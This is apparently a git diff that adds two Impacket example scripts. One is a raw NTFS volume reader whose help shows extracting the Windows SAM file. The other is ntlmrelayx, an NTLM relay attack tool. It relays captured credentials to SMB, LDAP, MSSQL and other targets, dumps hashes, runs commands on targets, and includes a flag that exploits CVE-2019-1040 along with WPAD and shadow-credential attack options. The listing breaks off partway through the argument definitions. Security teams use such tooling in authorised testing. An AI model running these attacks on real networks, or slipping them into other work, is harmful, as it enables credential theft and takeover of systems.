+from impacket.structure import Structure + + +def pretty_print(x): + visible = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ' + return x if x in visible else '.' + +def hexdump(data): + x = str(data) + strLen = len(x) + i = 0 + while i < strLen: + print("%04x " % i, end=' ') + for j in range(16): + if i+j < strLen: + print("%02X" % ord(x[i+j]), end=' ') + else: + print(" ", end=' ') + if j%16 == 7: + print("", end=' ') + print(" ", end=' ') + print(''.join(pretty_print(x) for x in x[i:i+16] )) + i += 16 + +# Reserved/fixed MFTs +FIXED_MFTS = 16 + +# Attribute types +UNUSED = 0 +STANDARD_INFORMATION = 0x10 +ATTRIBUTE_LIST = 0x20 +FILE_NAME = 0x30 +OBJECT_ID = 0x40 +SECURITY_DESCRIPTOR = 0x50 +VOLUME_NAME = 0x60 +VOLUME_INFORMATION = 0x70 +DATA = 0x80 +INDEX_ROOT = 0x90 +INDEX_ALLOCATION = 0xa0 +BITMAP = 0xb0 +REPARSE_POINT = 0xc0 +EA_INFORMATION = 0xd0 +EA = 0xe0 +PROPERTY_SET = 0xf0 +LOGGED_UTILITY_STREAM = 0x100 +FIRST_USER_DEFINED_ATTRIBUTE = 0x1000 +END = 0xffffffff + +# Attribute flags +ATTR_IS_COMPRESSED = 0x0001 +ATTR_COMPRESSION_MASK = 0x00ff +ATTR_IS_ENCRYPTED = 0x4000 +ATTR_IS_SPARSE = 0x8000 + +# FileName type flags +FILE_NAME_POSIX = 0x00 +FILE_NAME_WIN32 = 0x01 +FILE_NAME_DOS = 0x02 +FILE_NAME_WIN32_AND_DOS = 0x03 + +# MFT Record flags +MFT_RECORD_IN_USE = 0x0001 +MFT_RECORD_IS_DIRECTORY = 0x0002 +MFT_RECORD_IS_4 = 0x0004 +MFT_RECORD_IS_VIEW_INDEX = 0x0008 +MFT_REC_SPACE_FILLER = 0xfffff + +# File Attribute Flags +FILE_ATTR_READONLY = 0x0001 +FILE_ATTR_HIDDEN = 0x0002 +FILE_ATTR_SYSTEM = 0x0004 +FILE_ATTR_DIRECTORY = 0x0010 +FILE_ATTR_ARCHIVE = 0x0020 +FILE_ATTR_DEVICE = 0x0040 +FILE_ATTR_NORMAL = 0x0080 +FILE_ATTR_TEMPORARY = 0x0100 +FILE_ATTR_SPARSE_FILE = 0x0200 +FILE_ATTR_REPARSE_POINT = 0x0400 +FILE_ATTR_COMPRESSED = 0x0800 +FILE_ATTR_OFFLINE = 0x1000 +FILE_ATTR_NOT_CONTENT_INDEXED = 0x2000 +FILE_ATTR_ENCRYPTED = 0x4000 +FILE_ATTR_VALID_FLAGS = 0x7fb7 +FILE_ATTR_VALID_SET_FLAGS = 0x31a7 +FILE_ATTR_I30_INDEX_PRESENT = 0x10000000 +FILE_ATTR_VIEW_INDEX_PRESENT = 0x20000000 + +# NTFS System files +FILE_MFT = 0 +FILE_MFTMirr = 1 +FILE_LogFile = 2 +FILE_Volume = 3 +FILE_AttrDef = 4 +FILE_Root = 5 +FILE_Bitmap = 6 +FILE_Boot = 7 +FILE_BadClus = 8 +FILE_Secure = 9 +FILE_UpCase = 10 +FILE_Extend = 11 + +# Index Header Flags +SMALL_INDEX = 0 +LARGE_INDEX = 1 +LEAF_NODE = 0 +INDEX_NODE = 1 +NODE_MASK = 0 + +# Index Entry Flags +INDEX_ENTRY_NODE = 1 +INDEX_ENTRY_END = 2 +INDEX_ENTRY_SPACE_FILLER = 0xffff + + +class NTFS_BPB(Structure): + structure = ( + ('BytesPerSector',' 0 and self.AttributeHeader['Type'] != END: + self.AttributeName = data[self.AttributeHeader['NameOffset']:][:self.AttributeHeader['NameLength']*2].decode('utf-16le') + + def getFlags(self): + return self.AttributeHeader['Flags'] + + def getName(self): + return self.AttributeName + + def isNonResident(self): + return self.AttributeHeader['NonResident'] + + def dump(self): + return self.AttributeHeader.dump() + + def getTotalSize(self): + return self.AttributeHeader['Length'] + + def getType(self): + return self.AttributeHeader['Type'] + +class AttributeResident(Attribute): + def __init__(self, iNode, data): + logging.debug("Inside AttributeResident: iNode: %s" % iNode.INodeNumber) + Attribute.__init__(self,iNode,data) + self.ResidentHeader = NTFS_ATTRIBUTE_RECORD_RESIDENT(data[len(self.AttributeHeader):]) + self.AttrValue = data[self.ResidentHeader['ValueOffset']:][:self.ResidentHeader['ValueLen']] + + def dump(self): + return self.ResidentHeader.dump() + + def getFlags(self): + return self.ResidentHeader['Flags'] + + def getValue(self): + return self.AttrValue + + def read(self,offset,length): + logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) + return self.AttrValue[offset:][:length] + + def getDataSize(self): + return len(self.AttrValue) + +class AttributeNonResident(Attribute): + def __init__(self, iNode, data): + logging.debug("Inside AttributeNonResident: iNode: %s" % iNode.INodeNumber) + Attribute.__init__(self,iNode,data) + self.NonResidentHeader = NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(data[len(self.AttributeHeader):]) + self.AttrValue = data[self.NonResidentHeader['DataRunsOffset']:][:self.NonResidentHeader['AllocatedSize']] + self.DataRuns = [] + self.ClusterSize = 0 + self.parseDataRuns() + + def dump(self): + return self.NonResidentHeader.dump() + + def getDataSize(self): + return self.NonResidentHeader['InitializedSize'] + + def getValue(self): + return None + + def parseDataRuns(self): + value = self.AttrValue + if value is not None: + VCN = 0 + LCN = 0 + LCNOffset = 0 + while value[0:1] != b'\x00': + LCN += LCNOffset + dr = NTFS_DATA_RUN() + + size = struct.unpack('B',(value[0:1]))[0] + + value = value[1:] + + lengthBytes = size & 0x0F + offsetBytes = size >> 4 + + length = value[:lengthBytes] + length = struct.unpack('= dr['StartVCN']) and (vcn <= dr['LastVCN']): + + vcnsToRead = dr['LastVCN'] - vcn + 1 + + # Are we requesting to read more data outside this DataRun? + if numOfClusters > vcnsToRead: + # Yes + clustersToRead = vcnsToRead + else: + clustersToRead = numOfClusters + + tmpBuf = self.readClusters(clustersToRead,dr['LCN']+(vcn-dr['StartVCN'])) + if tmpBuf is not None: + buf += tmpBuf + clustersLeft -= clustersToRead + vcn += clustersToRead + else: + break + if clustersLeft == 0: + break + return buf + + def read(self,offset,length): + logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) + + buf = b'' + curLength = length + self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector']*self.NTFSVolume.BPB['SectorsPerCluster'] + + # Given the offset, let's calculate what VCN should be the first one to read + vcnToStart = offset // self.ClusterSize + #vcnOffset = self.ClusterSize - (offset % self.ClusterSize) + + # Do we have to read partial VCNs? + if offset % self.ClusterSize: + # Read the whole VCN + bufTemp = self.readVCN(vcnToStart, 1) + if bufTemp == b'': + # Something went wrong + return None + buf = bufTemp[offset % self.ClusterSize:] + curLength -= len(buf) + vcnToStart += 1 + + # Finished? + if curLength <= 0: + return buf[:length] + + # First partial cluster read.. now let's keep reading full clusters + # Data left to be read is bigger than a Cluster? + if curLength // self.ClusterSize: + # Yep.. so let's read full clusters + bufTemp = self.readVCN(vcnToStart, curLength // self.ClusterSize) + if bufTemp == b'': + # Something went wrong + return None + if len(bufTemp) > curLength: + # Too much data read, taking something off + buf = buf + bufTemp[:curLength] + else: + buf = buf + bufTemp + vcnToStart += curLength // self.ClusterSize + curLength -= len(bufTemp) + + # Is there anything else left to be read in the last cluster? + if curLength > 0: + bufTemp = self.readVCN(vcnToStart, 1) + buf = buf + bufTemp[:curLength] + + if buf == b'': + return None + else: + return buf + +class AttributeStandardInfo: + def __init__(self, attribute): + logging.debug("Inside AttributeStandardInfo") + self.Attribute = attribute + self.StandardInfo = NTFS_STANDARD_INFORMATION(self.Attribute.AttrValue) + + def getFileAttributes(self): + return self.StandardInfo['FileAttributes'] + + def getFileTime(self): + if self.StandardInfo['LastDataChangeTime'] > 0: + return datetime.fromtimestamp(getUnixTime(self.StandardInfo['LastDataChangeTime'])) + else: + return 0 + + def dump(self): + return self.StandardInfo.dump() + +class AttributeFileName: + def __init__(self, attribute): + logging.debug("Inside AttributeFileName") + self.Attribute = attribute + self.FileNameRecord = NTFS_FILE_NAME_ATTR(self.Attribute.AttrValue) + + def getFileNameType(self): + return self.FileNameRecord['FileNameType'] + + def getFileAttributes(self): + return self.FileNameRecord['FileAttributes'] + + def getFileName(self): + return self.FileNameRecord['FileName'].decode('utf-16le') + + def getFileSize(self): + return self.FileNameRecord['DataSize'] + + def getFlags(self): + return self.FileNameRecord['FileAttributes'] + + def dump(self): + return self.FileNameRecord.dump() + +class AttributeIndexAllocation: + def __init__(self, attribute): + logging.debug("Inside AttributeIndexAllocation") + self.Attribute = attribute + + def dump(self): + print(self.Attribute.dump()) + for i in self.Attribute.DataRuns: + print(i.dump()) + + def read(self, offset, length): + return self.Attribute.read(offset, length) + + +class AttributeIndexRoot: + def __init__(self, attribute): + logging.debug("Inside AttributeIndexRoot") + self.Attribute = attribute + self.IndexRootRecord = NTFS_INDEX_ROOT(attribute.AttrValue) + self.IndexEntries = [] + self.parseIndexEntries() + + def parseIndexEntries(self): + data = self.Attribute.AttrValue[len(self.IndexRootRecord):] + while True: + ie = IndexEntry(data) + self.IndexEntries.append(ie) + if ie.isLastNode(): + break + data = data[ie.getSize():] + + def dump(self): + self.IndexRootRecord.dump() + for i in self.IndexEntries: + i.dump() + + def getType(self): + return self.IndexRootRecord['Type'] + +class IndexEntry: + def __init__(self, entry): + self.entry = NTFS_INDEX_ENTRY(entry) + + def isSubNode(self): + return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_NODE + + def isLastNode(self): + return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_END + + def getVCN(self): + return struct.unpack(' 0 and entry.getINodeNumber() > 16: + fn = NTFS_FILE_NAME_ATTR(entry.getKey()) + if fn['FileNameType'] != FILE_NAME_DOS: + #inode = INODE(self.NTFSVolume) + #inode.FileAttributes = fn['FileAttributes'] + #inode.FileSize = fn['DataSize'] + #inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(fn['LastDataChangeTime'])) + #inode.INodeNumber = entry.getINodeNumber() + #inode.FileName = fn['FileName'].decode('utf-16le') + #inode.displayName() + files.append(fn) +# if inode.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT and entry.getINodeNumber() > 16: +# inode2 = self.NTFSVolume.getINode(entry.getINodeNumber()) +# inode2.walk() + return files + + def walk(self): + logging.debug("Inside Walk... ") + files = [] + if INDEX_ROOT in self.Attributes: + ir = self.Attributes[INDEX_ROOT] + + if ir.getType() & FILE_NAME: + for ie in ir.IndexEntries: + if ie.isSubNode(): + files += self.walkSubNodes(ie.getVCN()) + return files + else: + return None + + def findFirstSubNode(self, vcn, toSearch): + def getFileName(entry): + if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: + fn = NTFS_FILE_NAME_ATTR(entry.getKey()) + if fn['FileNameType'] != FILE_NAME_DOS: + return fn['FileName'].decode('utf-16le').upper() + return None + + entries = self.parseIndexBlocks(vcn) + for ie in entries: + name = getFileName(ie) + if name is not None: + if name == toSearch: + # Found! + return ie + if toSearch < name: + if ie.isSubNode(): + res = self.findFirstSubNode(ie.getVCN(), toSearch) + if res is not None: + return res + else: + # Bye bye.. not found + return None + else: + if ie.isSubNode(): + res = self.findFirstSubNode(ie.getVCN(), toSearch) + if res is not None: + return res + + + def findFirst(self, fileName): + # Searches for a file and returns an Index Entry. None if not found + + def getFileName(entry): + if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: + fn = NTFS_FILE_NAME_ATTR(entry.getKey()) + if fn['FileNameType'] != FILE_NAME_DOS: + return fn['FileName'].decode('utf-16le').upper() + return None + + toSearch = text_type(fileName.upper()) + + if INDEX_ROOT in self.Attributes: + ir = self.Attributes[INDEX_ROOT] + if ir.getType() & FILE_NAME or 1==1: + for ie in ir.IndexEntries: + name = getFileName(ie) + if name is not None: + if name == toSearch: + # Found! + return ie + if toSearch < name: + if ie.isSubNode(): + res = self.findFirstSubNode(ie.getVCN(), toSearch) + if res is not None: + return res + else: + # Bye bye.. not found + return None + else: + if ie.isSubNode(): + res = self.findFirstSubNode(ie.getVCN(), toSearch) + if res is not None: + return res + + def getStream(self, name): + return self.searchAttribute( DATA, name, findNext = False) + + +class NTFS: + def __init__(self, volumeName): + self.__volumeName = volumeName + self.__bootSector = None + self.__MFTStart = None + self.volumeFD = None + self.BPB = None + self.ExtendedBPB = None + self.RecordSize = None + self.IndexBlockSize = None + self.SectorSize = None + self.MFTINode = None + self.mountVolume() + + def mountVolume(self): + logging.debug("Mounting volume...") + self.volumeFD = open(self.__volumeName,"rb") + self.readBootSector() + self.MFTINode = self.getINode(FILE_MFT) + # Check whether MFT is fragmented + attr = self.MFTINode.searchAttribute(DATA, None) + if attr is None: + # It's not + del self.MFTINode + self.MFTINode = None + + def readBootSector(self): + logging.debug("Reading Boot Sector for %s" % self.__volumeName) + + self.volumeFD.seek(0,0) + data = self.volumeFD.read(512) + while len(data) < 512: + data += self.volumeFD.read(512) + + self.__bootSector = NTFS_BOOT_SECTOR(data) + self.BPB = NTFS_BPB(self.__bootSector['BPB']) + self.ExtendedBPB = NTFS_EXTENDED_BPB(self.__bootSector['ExtendedBPB']) + self.SectorSize = self.BPB['BytesPerSector'] + self.__MFTStart = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['MFTClusterNumber'] + if self.ExtendedBPB['ClusterPerFileRecord'] > 0: + self.RecordSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerFileRecord'] + else: + self.RecordSize = 1 << (-self.ExtendedBPB['ClusterPerFileRecord']) + if self.ExtendedBPB['ClusterPerIndexBuffer'] > 0: + self.IndexBlockSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerIndexBuffer'] + else: + self.IndexBlockSize = 1 << (-self.ExtendedBPB['ClusterPerIndexBuffer']) + + logging.debug("MFT should start at position %d" % self.__MFTStart) + + def getINode(self, iNodeNum): + logging.debug("Trying to fetch inode %d" % iNodeNum) + + newINode = INODE(self) + + recordLen = self.RecordSize + + # Let's calculate where in disk this iNode should be + if self.MFTINode and iNodeNum > FIXED_MFTS: + # Fragmented $MFT + attr = self.MFTINode.searchAttribute(DATA,None) + record = attr.read(iNodeNum*self.RecordSize, self.RecordSize) + else: + diskPosition = self.__MFTStart + iNodeNum * self.RecordSize + self.volumeFD.seek(diskPosition,0) + record = self.volumeFD.read(recordLen) + while len(record) < recordLen: + record += self.volumeFD.read(recordLen-len(record)) + + mftRecord = NTFS_MFT_RECORD(record) + + record = newINode.PerformFixUp(mftRecord, record, self.RecordSize//self.SectorSize) + newINode.INodeNumber = iNodeNum + newINode.AttributesRaw = record[mftRecord['AttributesOffset']-recordLen:] + newINode.parseAttributes() + + return newINode + +class MiniShell(cmd.Cmd): + def __init__(self, volume): + cmd.Cmd.__init__(self) + self.volumePath = volume + self.volume = NTFS(volume) + self.rootINode = self.volume.getINode(5) + self.prompt = '\\>' + self.intro = 'Type help for list of commands' + self.currentINode = self.rootINode + self.completion = [] + self.pwd = '\\' + self.do_ls('',False) + self.last_output = '' + + def emptyline(self): + pass + + def onecmd(self,s): + retVal = False + try: + retVal = cmd.Cmd.onecmd(self,s) + except Exception as e: + logging.debug('Exception:', exc_info=True) + logging.error(str(e)) + + return retVal + + def do_exit(self,line): + return True + + def do_shell(self, line): + output = os.popen(line).read() + print(output) + self.last_output = output + + def do_help(self,line): + print(""" + cd {path} - changes the current directory to {path} + pwd - shows current remote directory + ls - lists all the files in the current directory + lcd - change local directory + get {filename} - downloads the filename from the current path + cat {filename} - prints the contents of filename + hexdump {filename} - hexdumps the contents of filename + exit - terminates the server process (and this session) + +""") + + def do_lcd(self,line): + if line == '': + print(os.getcwd()) + else: + os.chdir(line) + print(os.getcwd()) + + def do_cd(self, line): + p = line.replace('/','\\') + oldpwd = self.pwd + newPath = ntpath.normpath(ntpath.join(self.pwd,p)) + if newPath == self.pwd: + # Nothing changed + return + common = ntpath.commonprefix([newPath,oldpwd]) + + if common == oldpwd: + res = self.findPathName(ntpath.normpath(p)) + else: + res = self.findPathName(newPath) + + if res is None: + logging.error("Directory not found") + self.pwd = oldpwd + return + if res.isDirectory() == 0: + logging.error("Not a directory!") + self.pwd = oldpwd + return + else: + self.currentINode = res + self.do_ls('', False) + self.pwd = ntpath.join(self.pwd,p) + self.pwd = ntpath.normpath(self.pwd) + self.prompt = self.pwd + '>' + + def findPathName(self, pathName): + if pathName == '\\': + return self.rootINode + tmpINode = self.currentINode + parts = pathName.split('\\') + for part in parts: + if part == '': + tmpINode = self.rootINode + else: + res = tmpINode.findFirst(part) + if res is None: + return res + else: + tmpINode = self.volume.getINode(res.getINodeNumber()) + + return tmpINode + + def do_pwd(self,line): + print(self.pwd) + + def do_ls(self, line, display = True): + entries = self.currentINode.walk() + self.completion = [] + for entry in entries: + inode = INODE(self.volume) + inode.FileAttributes = entry['FileAttributes'] + inode.FileSize = entry['DataSize'] + inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(entry['LastDataChangeTime'])) + inode.FileName = entry['FileName'].decode('utf-16le') + if display is True: + inode.displayName() + self.completion.append((inode.FileName,inode.isDirectory())) + + def complete_cd(self, text, line, begidx, endidx): + return self.complete_get(text, line, begidx, endidx, include = 2) + + def complete_cat(self,text,line,begidx,endidx): + return self.complete_get(text, line, begidx, endidx) + + def complete_hexdump(self,text,line,begidx,endidx): + return self.complete_get(text, line, begidx, endidx) + + def complete_get(self, text, line, begidx, endidx, include = 1): + # include means + # 1 just files + # 2 just directories + items = [] + if include == 1: + mask = 0 + else: + mask = FILE_ATTR_I30_INDEX_PRESENT + for i in self.completion: + if i[1] == mask: + items.append(i[0]) + if text: + return [ + item for item in items + if item.upper().startswith(text.upper()) + ] + else: + return items + + def do_hexdump(self,line): + return self.do_cat(line,command = hexdump) + + def do_cat(self, line, command = sys.stdout.write): + pathName = line.replace('/','\\') + pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) + res = self.findPathName(pathName) + if res is None: + logging.error("Not found!") + return + if res.isDirectory() > 0: + logging.error("It's a directory!") + return + if res.isCompressed() or res.isEncrypted() or res.isSparse(): + logging.error('Cannot handle compressed/encrypted/sparse files! :(') + return + stream = res.getStream(None) + chunks = 4096*10 + written = 0 + for i in range(stream.getDataSize()//chunks): + buf = stream.read(i*chunks, chunks) + written += len(buf) + command(buf) + if stream.getDataSize() % chunks: + buf = stream.read(written, stream.getDataSize() % chunks) + command(buf.decode('latin-1')) + logging.info("%d bytes read" % stream.getDataSize()) + + def do_get(self, line): + pathName = line.replace('/','\\') + pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) + fh = open(ntpath.basename(pathName),"wb") + self.do_cat(line, command = fh.write) + fh.close() + +def main(): + print(version.BANNER) + # Init the example's logger theme + logger.init() + parser = argparse.ArgumentParser(add_help = True, description = "NTFS explorer (read-only)") + parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\.\\C: or /dev/disk1s1)') + parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \\windows\\system32\\config\\sam)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + shell = MiniShell(options.volume) + if options.extract is not None: + shell.onecmd("get %s"% options.extract) + else: + shell.cmdloop() + +if __name__ == '__main__': + main() + sys.exit(1) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py new file mode 100644 index 0000000..37907f4 --- /dev/null +++ b/examples/ntlmrelayx.py @@ -0,0 +1,469 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Generic NTLM Relay Module +# +# This module performs the SMB Relay attacks originally discovered +# by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc). +# It receives a list of targets and for every connection received it +# will choose the next target and try to relay the credentials. Also, if +# specified, it will first to try authenticate against the client connecting +# to us. +# +# It is implemented by invoking a SMB and HTTP Server, hooking to a few +# functions and then using the specific protocol clients (e.g. SMB, LDAP). +# It is supposed to be working on any LM Compatibility level. The only way +# to stop this attack is to enforce on the server SPN checks and or signing. +# +# If the authentication against the targets succeeds, the client authentication +# succeeds as well and a valid connection is set against the local smbserver. +# It's up to the user to set up the local smbserver functionality. One option +# is to set up shares with whatever files you want to so the victim thinks it's +# connected to a valid SMB server. All that is done through the smb.conf file or +# programmatically. +# +# Authors: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# + +import argparse +import sys +import logging +import cmd +try: + from urllib.request import ProxyHandler, build_opener, Request +except ImportError: + from urllib2 import ProxyHandler, build_opener, Request + +import json +from time import sleep +from threading import Thread + +from impacket import version +from impacket.examples import logger +from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer +from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports +from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher +from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS + +RELAY_SERVERS = [] + +class MiniShell(cmd.Cmd): + def __init__(self, relayConfig, threads): + cmd.Cmd.__init__(self) + + self.prompt = 'ntlmrelayx> ' + self.tid = None + self.relayConfig = relayConfig + self.intro = 'Type help for list of commands' + self.relayThreads = threads + self.serversRunning = True + + @staticmethod + def printTable(items, header): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max([len(row[i]) for row in items]) + colLen.append(max(rowMaxLen, len(col))) + + outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) + + # Print header + print(outputFormat.format(*header)) + print(' '.join(['-' * itemLen for itemLen in colLen])) + + # And now the rows + for row in items: + print(outputFormat.format(*row)) + + def emptyline(self): + pass + + def do_targets(self, line): + for url in self.relayConfig.target.originalTargets: + print(url.geturl()) + return + + def do_finished_attacks(self, line): + for url in self.relayConfig.target.finishedAttacks: + print (url.geturl()) + return + + def do_socks(self, line): + headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"] + url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" + try: + proxy_handler = ProxyHandler({}) + opener = build_opener(proxy_handler) + response = Request(url) + r = opener.open(response) + result = r.read() + items = json.loads(result) + except Exception as e: + logging.error("ERROR: %s" % str(e)) + else: + if len(items) > 0: + self.printTable(items, header=headers) + else: + logging.info('No Relays Available!') + + def do_startservers(self, line): + if not self.serversRunning: + start_servers(options, self.relayThreads) + self.serversRunning = True + logging.info('Relay servers started') + else: + logging.error('Relay servers are already running!') + + def do_stopservers(self, line): + if self.serversRunning: + stop_servers(self.relayThreads) + self.serversRunning = False + logging.info('Relay servers stopped') + else: + logging.error('Relay servers are already stopped!') + + def do_exit(self, line): + print("Shutting down, please wait!") + return True + + def do_EOF(self, line): + return self.do_exit(line) + +def start_servers(options, threads): + for server in RELAY_SERVERS: + #Set up config + c = NTLMRelayxConfig() + c.setProtocolClients(PROTOCOL_CLIENTS) + c.setRunSocks(options.socks, socksServer) + c.setTargets(targetSystem) + c.setExeFile(options.e) + c.setCommand(options.c) + c.setEnumLocalAdmins(options.enum_local_admins) + c.setDisableMulti(options.no_multirelay) + c.setEncoding(codec) + c.setMode(mode) + c.setAttacks(PROTOCOL_ATTACKS) + c.setLootdir(options.lootdir) + c.setOutputFile(options.output_file) + c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.user_delegate_access) + c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) + c.setMSSQLOptions(options.query) + c.setInteractive(options.interactive) + c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) + c.setIPv6(options.ipv6) + c.setWpadOptions(options.wpad_host, options.wpad_auth_num) + c.setSMB2Support(options.smb2support) + c.setSMBChallenge(options.ntlmchallenge) + c.setInterfaceIp(options.interface_ip) + c.setExploitOptions(options.remove_mic, options.remove_target) + c.setWebDAVOptions(options.serve_image) + c.setIsADCSAttack(options.adcs) + c.setADCSOptions(options.template) + c.setIsShadowCredentialsAttack(options.shadow_credentials) + c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, + options.cert_outfile_path) + + c.setAltName(options.altname) + # c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid, options.user_delegate_access) + + #If the redirect option is set, configure the HTTP server to redirect targets to SMB + if server is HTTPRelayServer and options.r is not None: + c.setMode('REDIRECT') + c.setRedirectHost(options.r) + + #Use target randomization if configured and the server is not SMB + if server is not SMBRelayServer and options.random: + c.setRandomTargets(True) + + if server is HTTPRelayServer: + c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) + for port in options.http_port: + c.setListeningPort(port) + s = server(c) + s.start() + threads.add(s) + sleep(0.1) + continue + + elif server is SMBRelayServer: + c.setListeningPort(options.smb_port) + elif server is WCFRelayServer: + c.setListeningPort(options.wcf_port) + elif server is RAWRelayServer: + c.setListeningPort(options.raw_port) + + s = server(c) + s.start() + threads.add(s) + return c + +def stop_servers(threads): + todelete = [] + for thread in threads: + if isinstance(thread, tuple(RELAY_SERVERS)): + thread.server.shutdown() + todelete.append(thread) + # Now remove threads from the set + for thread in todelete: + threads.remove(thread) + del thread + +# Process command-line arguments. +if __name__ == '__main__': + + print(version.BANNER) + #Parse arguments + parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " + "try to relay that connection to specified target(s) system or the original client") + parser._optionals.title = "Main options" + + #Main arguments + parser.add_argument("-h","--help", action="help", help='show this help message and exit') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help="Target to relay the credentials to, " + "can be an IP, hostname or URL like domain\\username@host:port (domain\\username and port " + "are optional, and don't forget to escape the '\\'). If unspecified, it will relay back " + "to the client')") + parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' + 'full URL, one per line') + parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' + 'automatically (only valid with -tf)') + parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient or LDAP console instead' + 'of executing a command after a successful relay. This console will listen locally on a ' + ' tcp port and can be reached with for example netcat.') + + # Interface address specification + parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' + 'bind SMB and HTTP servers',default='') + + serversoptions = parser.add_argument_group() + serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server') + serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server') + serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server') + serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server') + + parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) + parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80") + parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS + parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) + + parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') + parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') + parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') + parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' + 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') + parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' + 'will be added for ntlm and ntlmv2') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py ' + 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) + parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support') + parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the ' + 'SMB Server (16 hex bytes long. eg: 1122334455667788)') + parser.add_argument('-socks', action='store_true', default=False, + help='Launch a SOCKS proxy for the connection relayed') + parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' + 'setting the proxy host to the one supplied.') + parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed ' + 'before serving a WPAD file. (default=1)') + parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') + parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') + parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') + parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' + 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' 